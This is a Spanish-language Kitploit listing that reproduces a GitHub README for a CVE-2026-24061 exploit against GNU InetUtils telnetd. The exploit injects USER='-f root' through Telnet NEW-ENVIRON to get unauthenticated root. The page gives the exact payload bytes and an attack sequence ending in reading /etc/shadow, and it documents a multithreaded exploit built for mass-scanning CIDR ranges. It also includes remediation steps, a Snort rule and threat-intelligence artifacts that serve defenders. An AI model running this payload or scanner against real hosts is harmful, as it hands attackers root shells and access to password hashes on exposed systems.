Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-24061 — GNU InetUtils telnetd - Root remoto no autenticado mediante inyección de variable NEW-ENVIRON. | Kitploit
Herramientas/GitHubGitHub/franckferman/cve-2026-24061
Escáneres de VulnerabilidadesExplotaciónSeguridad de RedesPruebas de PenetraciónInteligencia de AmenazasAutenticaciónAprendizaje y EducaciónRed Teaming
GitHubfranckferman/cve-2026-24061

CVE-2026-24061

GNU InetUtils telnetd - Root remoto no autenticado mediante inyección de variable NEW-ENVIRON.

Ver Repositorio
4hace 5 mesesAún no revisado
Sitio web

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE Score License Python No deps

GNU InetUtils telnetd - Root Remoto No Autenticado mediante Inyección de Variable NEW-ENVIRON

Resumen - Análisis Técnico - Versiones Afectadas - Uso - Remediación - Referencias


Resumen de la Vulnerabilidad

CVE-2026-24061 es una vulnerabilidad crítica de bypass de autenticación en el demonio telnetd distribuido como parte de GNU InetUtils. El fallo reside en el manejo de la opción Telnet NEW-ENVIRON (RFC 1572) durante el handshake inicial del protocolo.

La causa raíz es la falta de saneamiento de las variables de entorno proporcionadas por el cliente antes de pasarlas al programa login(1). Cuando el demonio Telnet recibe un paquete de sub-negociación que contiene la variable con el valor , pasa este valor sin sanear directamente al binario del sistema.

NEW-ENVIRON IS
USER
-f root
login

En sistemas donde login acepta la bandera -f (forzar inicio de sesión sin verificación de contraseña), esto resulta en una sesión root no autenticada otorgada al atacante remoto.

Esta clase de vulnerabilidad tiene precedente histórico: CVE-2001-0797 en SysV telnetd y el conocido bypass -f de Linux telnetd de 1994 explotaron el mismo fallo fundamental de no sanear argumentos provenientes de variables de entorno pasados a binarios privilegiados.

No se requieren credenciales. No se necesita acceso previo. Una sola secuencia de paquetes de red logra root.

Análisis Técnico

Causa Raíz

GNU InetUtils telnetd procesa la sub-negociación NEW-ENVIRON (código de opción 0x27, según RFC 1572) para recopilar variables de entorno proporcionadas por el cliente. Estas variables se ensamblan en un vector de argumentos y se pasan a execve(2) al invocar login(1).

La vulnerabilidad se desencadena de la siguiente manera:

  1. El servidor envía IAC DO NEW-ENVIRON, solicitando variables de entorno al cliente.
  2. El cliente malicioso responde con IAC WILL NEW-ENVIRON.
  3. El servidor continúa con IAC SB NEW-ENVIRON SEND IAC SE.
  4. El cliente envía el payload inyectado:
root@kitploit:~
IAC SB NEW-ENVIRON IS
  VAR "USER" VALUE "-f root"
IAC SE
  1. telnetd construye la invocación de login como login -f root.
  2. login(1) interpreta -f como "forzar inicio de sesión, omitir autenticación" e inicia sesión con el usuario especificado (root) sin requerir contraseña.

Desglose a Nivel de Protocolo

PasoDirecciónBytes Telnet (hex)Significado
1S -> CFF FD 27IAC DO NEW-ENVIRON
2C -> SFF FB 27IAC WILL NEW-ENVIRON
3S -> CFF FA 27 01 FF F0IAC SB NEW-ENVIRON SEND IAC SE
4C -> SFF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE

Por Qué Funciona -f root

El binario login(1) en muchos sistemas Linux acepta la bandera -f <usuario> para inicios de sesión "pre-autenticados", usada históricamente por multiplexores de terminal y rlogin. Cuando telnetd construye su llamada exec y no elimina guiones iniciales ni valida cadenas similares a opciones en los valores de variables de entorno, pasa inadvertidamente banderas controladas por el atacante directamente a login.

La llamada efectiva se convierte en:

root@kitploit:~
execve("/bin/login", ["login", "-f", "root"], envp);

Escenario de Ataque

root@kitploit:~
Atacante                                    telnetd vulnerable (puerto 23)
   |                                                   |
   |------- TCP SYN (puerto 23) ---------------------->|
   |<------ TCP SYN-ACK -------------------------------|
   |------- TCP ACK ---------------------------------->|
   |                                                   |
   |<------ Banner Telnet + IAC DO NEW-ENVIRON --------|
   |------- IAC WILL NEW-ENVIRON --------------------->|
   |<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
   |                                                   |
   |------- IAC SB NEW-ENVIRON IS                      |
   |        VAR "USER" VALUE "-f root" IAC SE -------->|
   |                                                   |
   |        [telnetd llama: login -f root]             |
   |                                                   |
   |<------ Prompt de shell root (#) ------------------|
   |                                                   |
   |------- id; whoami; cat /etc/shadow -------------->|
   |<------ uid=0(root) root contenido /etc/shadow ----|

Requisitos previos:

  • Sistema objetivo ejecutando GNU InetUtils telnetd (TCP/23 abierto)
  • Versión sin parchear de inetutils
  • El binario login(1) soporta la bandera -f (estándar en la mayoría de distribuciones Linux)
  • Sin firewall que bloquee TCP/23

Versiones Afectadas

SoftwareVersiones AfectadasEstado
GNU InetUtils telnetd<= 2.x (versión parcheada específica por determinar)Vulnerable
Distribuciones que incluyen GNU inetutils sin parchearVariasConsultar aviso del proveedor

Verifique si su distribución incluye una versión parcheada. Muchos sistemas modernos tienen Telnet deshabilitado por defecto; la exposición requiere un telnetd ejecutándose explícitamente.

Puntuación CVSS

MétricaValor
Puntuación Base CVSS v3.19.8 (Crítica)
Vector de AtaqueRed
Complejidad de AtaqueBaja
Privilegios RequeridosNinguno
Interacción del UsuarioNinguna
AlcanceSin cambios
Impacto de ConfidencialidadAlto
Impacto de IntegridadAlto
Impacto de DisponibilidadAlto
Cadena de VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Mapeo MITRE ATT&CK

ID ATT&CKTácticaTécnicaRelevancia
T1190Acceso InicialExplotar Aplicación Expuesta al PúblicoExplotación directa de telnetd a través de la red
T1059EjecuciónIntérprete de Comandos y ScriptsEjecución de shell post-explotación
T1078.004Escalada de Privilegios / Evasión de DefensaCuentas Válidas: Cuentas LocalesEl bypass de autenticación produce una sesión root válida
T1548Escalada de PrivilegiosAbuso de Mecanismo de Control de ElevaciónBandera login -f abusada para omitir PAM/autenticación
T1046DescubrimientoDescubrimiento de Servicios de RedComponente de escaneo masivo del PoC

Instalación

Requisitos: Python 3 (solo biblioteca estándar, cero dependencias externas).

root@kitploit:~
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061

No se necesita pip install. Ambos scripts usan únicamente la biblioteca estándar de Python.

Estructura del Proyecto

root@kitploit:~
poc_cve_2026_24061.py       # PoC simple (~100 líneas) - comprender la vulnerabilidad
cve_2026_24061.py           # Exploit industrializado - multihilo, CIDR, exportación CSV/JSON
scripts/
  generate_signatures.py    # Genera automáticamente reglas Snort/Suricata + Sigma desde el payload
  generate_misp_event.py    # Genera evento JSON importable en MISP
  generate_stix_bundle.py   # Genera bundle STIX 2.1 (MISP, OpenCTI, TAXII)
signatures/
  snort.rules               # Reglas de detección Snort/Suricata (generadas automáticamente)
  sigma.yml                 # Regla Sigma para SIEM (generada automáticamente)
indicators/
  misp_event.json           # Evento MISP - importar vía Events > Add Event > Import
  stix_bundle.json          # Bundle STIX 2.1 - 11 objetos (vuln, indicator, ATT&CK, CoA)
  • poc_cve_2026_24061.py: Mínimo, legible, educativo. Un objetivo, una función, cero abstracción. Léalo para entender exactamente cómo funciona la vulnerabilidad a nivel de protocolo.
  • cve_2026_24061.py: Exploit industrializado para compromisos de pentesting. Multihilo, soporta rangos CIDR, entrada por archivo, exportación CSV/JSON, modo silencioso, usuarios personalizados.

Uso

PoC Simple (poc_cve_2026_24061.py)

Explota un solo host. El código es deliberadamente mínimo para que pueda leerlo de principio a fin y comprender toda la cadena de ataque.

root@kitploit:~
# Uso básico
python3 poc_cve_2026_24061.py 192.168.1.100

# Puerto personalizado
python3 poc_cve_2026_24061.py 10.0.0.5 2323

Exploit Industrializado (cve_2026_24061.py)

Host Único

root@kitploit:~
python3 cve_2026_24061.py -t 192.168.1.100

Rango CIDR (Escaneo Masivo)

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50

Entrada por Archivo

root@kitploit:~
python3 cve_2026_24061.py -f targets.txt -o results.csv

Exportación JSON

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json

Usuario Objetivo Personalizado

root@kitploit:~
python3 cve_2026_24061.py -t 192.168.1.1 --user admin

Modo Silencioso (compatible con pipes)

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt

Opciones Completas

ParámetroPredeterminadoDescripción
-t / --target-IP única, nombre de host o rango CIDR
-f / --file-Archivo con IPs/CIDRs (uno por línea, comentarios con #)
-T / --threads10Número de hilos concurrentes
-p / --port23Puerto Telnet objetivo
--timeout5Tiempo de espera del socket en segundos
--userrootNombre de usuario para el payload -f
-o / --output-Exportar resultados a archivo CSV
--json-Exportar resultados a archivo JSON
-q / --quietoffModo silencioso: solo imprime objetivos vulnerables (uno por línea)
--no-coloroffDeshabilitar salida de color ANSI

Estados de Salida

EstadoSignificado
[VULN]Host confirmado vulnerable - shell root obtenido
[SAFE]El host respondió pero la autenticación no fue omitida
[CLOS]Puerto cerrado o conexión rechazada
[ERR ]Error de socket o protocolo durante el escaneo

Columnas de salida CSV: ip:port, status, message

Comportamiento del PoC

El script implementa la máquina de estados completa de la negociación Telnet NEW-ENVIRON nativamente en Python sin depender de bibliotecas Telnet externas:

  1. Abre un socket TCP crudo hacia el objetivo en el puerto 23 (configurable).
  2. Lee secuencias de comandos IAC entrantes y responde a DO NEW-ENVIRON con WILL NEW-ENVIRON.
  3. Al recibir la sub-negociación SB NEW-ENVIRON SEND del servidor, transmite el payload inyectado (USER = "-f root").
  4. Monitorea el buffer de respuesta en busca de indicadores de inicio de sesión root exitoso: presencia de uid=0(root) o un prompt de shell (#), en ausencia de Login incorrect o Password:.
  5. Si el payload fue inyectado, envía id\n y verifica uid=0(root) en la respuesta como confirmación secundaria.

Los resultados se registran en stdout con etiquetas de estado codificadas por color. La exportación CSV opcional registra todos los hallazgos para post-procesamiento.

Remediación y Mitigación

Acciones Inmediatas

  1. Deshabilitar Telnet por completo. Telnet transmite todos los datos en texto claro. Reemplácelo con SSH.

    root@kitploit:~
    sudo systemctl disable telnet.socket --now
    sudo systemctl disable inetd --now
    
  2. Aplicar el parche del proveedor. Instale la versión parcheada de inetutils de su distribución cuando esté disponible.

  3. Bloquear TCP/23 en el perímetro. Aplique reglas de firewall para denegar conexiones Telnet entrantes.

    root@kitploit:~
    # iptables
    sudo iptables -A INPUT -p tcp --dport 23 -j DROP
    # nftables
    sudo nft add rule inet filter input tcp dport 23 drop
    

Defensa en Profundidad

ControlDescripción
Segmentación de redRestringir Telnet a redes de gestión aisladas si no puede deshabilitarse
Endurecimiento PAMRevisar la configuración de PAM; deshabilitar la pre-autenticación -f donde no sea requerida por login.defs
Firmas IDS/IPSDetectar patrones NEW-ENVIRON IS VAR USER VALUE -f en tráfico Telnet
Registro de auditoríaMonitorear auth.log / secure para inicios de sesión root inesperados vía login
Escaneo de vulnerabilidadesEjecutar escaneos autenticados (OpenVAS, Nessus) para identificar inetutils sin parchear

Detección (SIEM/IDS)

Esqueleto de regla Snort/Suricata para detectar el exploit en tránsito:

root@kitploit:~
alert tcp any any -> any 23 (
  msg:"CVE-2026-24061 telnetd USER=-f root exploit attempt";
  content:"|FF FA 27 00 00|USER|01|-f root|FF F0|";
  sid:2026240610; rev:1;
)

Inteligencia de Amenazas

Este repositorio incluye artefactos de inteligencia de amenazas pre-generados, listos para importar en su stack SOC/CTI. Son generados automáticamente por CI desde el payload real del exploit - si el payload cambia, los artefactos se actualizan.

MISP

Importe indicators/misp_event.json directamente en cualquier instancia MISP:

root@kitploit:~
Events > Add Event > Import from... > JSON

El evento contiene: ID CVE, vector CVSS, firma Snort, payload en hex, etiquetas MITRE ATT&CK (T1190, T1548, T1059), CPE y referencias externas.

STIX 2.1

Importe indicators/stix_bundle.json en OpenCTI, servidores TAXII o cualquier consumidor STIX 2.1.

El bundle contiene 11 objetos: Vulnerability, Indicator (patrón de red), 3 Attack Patterns (MITRE), Course of Action (remediación), Identity y Relationships que los vinculan.

Firmas IDS

Reglas pre-construidas en signatures/:

  • snort.rules - 3 reglas Snort/Suricata (intento de exploit, inyección genérica -f, shell root post-explotación)
  • sigma.yml - Regla Sigma para correlación SIEM

Regenerar

Si modifica el payload del exploit, regenere todos los artefactos:

root@kitploit:~
python3 scripts/generate_signatures.py
python3 scripts/generate_misp_event.py
python3 scripts/generate_stix_bundle.py

Referencias: MISP - OpenCTI - STIX 2.1 - Sigma

Referencias

  • Repositorio Oficial GNU InetUtils
  • RFC 1572 - Opción de Entorno Telnet (NEW-ENVIRON)
  • RFC 854 - Especificación del Protocolo Telnet
  • CVE-2001-0797 - Bypass histórico SysV telnetd -f (precedente)
  • MITRE ATT&CK - T1190: Explotar Aplicación Expuesta al Público
  • MITRE ATT&CK - T1548: Abuso de Mecanismo de Control de Elevación
  • Proyecto MISP
  • Página de manual de Linux login(1)

Aviso Legal

Esta herramienta se proporciona únicamente para auditorías de seguridad autorizadas, investigación académica y fines educativos. El uso contra sistemas sin permiso escrito explícito del propietario del sistema es ilegal según las leyes aplicables de fraude y abuso informático (incluidas, entre otras, la CFAA, la Computer Misuse Act y legislación equivalente). El autor no acepta responsabilidad alguna por uso no autorizado o malicioso.

Descargar herramienta